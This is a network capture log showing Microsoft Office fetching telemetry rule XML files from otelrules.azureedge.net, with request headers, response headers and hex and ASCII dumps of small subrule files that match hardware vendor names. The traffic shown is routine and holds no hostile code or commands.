2024-11-16 22:36:25 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:25 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:25 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 0e86b0ea-b01e-0097-3ed2-374f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223625Z-16547b76f7ff9zf4hC1DFW2pfc000000013g000000002540 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:25 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:25 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:25 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 2f467f27-f01e-003f-23a6-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223625Z-164f84587bftbpb6hC1DFWm4kg000000026000000000bvhb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:25 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:25 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:25 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:25 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: d36f9ca3-a01e-0021-21af-36814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223625Z-16547b76f7fzwxm2hC1DFWt5hw000000012g000000004kta x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 22:36:25 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:25 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:25 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 2028dee8-601e-0097-4b81-37f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223625Z-16547b76f7fwm7vghC1DFW900s00000000wg00000000swxd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:26 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:25 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 0687e1b8-601e-0001-3ef1-36faeb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223626Z-164f84587bfsqsthhC1DFWh63000000002n0000000001xs2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:25 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:26 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: 75c16ba8-801e-0067-10f8-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223626Z-164f84587bfn7ppchC1DFW0meg00000002rg00000000k3q5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:26 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:25 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:26 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 30aa96c6-b01e-0070-529f-371cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223626Z-164f84587bfr8hdmhC1DFWt5nc00000001rg000000004swt x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:26 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:26 UTC	498	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:26 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: a0c6f192-101e-007a-2f09-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223626Z-16547b76f7f64d6whC1DFWf9vn000000020000000000bwnb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 22:36:26 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.5	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:26 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:26 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 7f617d81-b01e-0021-0b30-36cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223626Z-1866b5c5fbbqmbqjhC1DFWwgvc00000002y000000000dbus x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:26 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.5	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:26 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:26 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223626Z-16547b76f7fd4rc5hC1DFWkzhw00000003u0000000001scg x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:27 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.5	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:27 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:27 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223627Z-16547b76f7fkz9l7hC1DFW35uc00000000dg000000001xff x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:27 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:27 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
